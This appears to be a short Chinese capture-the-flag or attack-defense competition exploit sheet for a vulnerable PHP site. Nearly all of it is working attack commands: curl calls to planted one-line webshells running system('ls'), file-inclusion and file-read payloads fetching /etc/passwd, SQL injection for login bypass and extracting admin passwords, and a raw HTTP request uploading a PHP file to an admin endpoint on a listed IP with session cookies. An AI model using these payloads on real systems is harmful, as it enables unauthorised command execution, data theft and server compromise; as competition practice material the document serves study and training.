

4_yunnan_test

by Hence Zhang@Lancet

一句话木马后门

a.php: curl "127.0.0.1/a.php?c=system('ls');"

.a.php: curl "127.0.0.1/.a.php?c=system('ls');"

config.php: curl "127.0.0.1/config.php?c=system('ls');"

footer.php: curl "127.0.0.1/footer.php" --data "shell=ls"

index.php: curl "127.0.0.1/index.php?aa=system('ls');"

admin/footer.php: curl "127.0.0.1/footer.php" --data "shell=ls"

文件包含：

about.php: curl "127.0.0.1/about.php?file=/etc/passwd"

任意文件读取：

contact.php: curl "127.0.0.1/contact.php?path=/etc/passwd"

sql注入：

login.php: curl "127.0.0.1/login.php" --data "username=aa&password=a' || '1'='1"

search.php: curl "127.0.0.1/search.php?id=10 union select 1,2,user_pass from admin"

文件上传：

需要登录后台后使用

```
POST /admin/upload.php HTTP/1.1
Host: 47.105.121.116:9090
Content-Length: 203
Cache-Control: max-age=0
Origin: http://47.105.121.116:9090
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarym3oBOAiRhgSccYAv
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://47.105.121.116:9090/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: UM_distinctid=164d08792003bd-061c93ec0d52f4-163c6952-13c680-
164d0879201922; CNZZDATA400379=cnzz_eid%3D1600348587-1532506902-
%26ntime%3D1532506902; CNZZDATA1261321738=1277624812-1532531826-
http%253A%252F%252F47.105.121.116%253A9090%252F%7C1532768947;
PHPSESSID=ujg0tpds1u9d23b969f2duj5c7
Connection: close

-----WebKitFormBoundarym3oBOAiRhgSccYAv
Content-Disposition: form-data; name="pic"; filename="1.php"
Content-Type: application/json

<?php phpinfo();?>
-----WebKitFormBoundarym3oBOAiRhgSccYAv--
```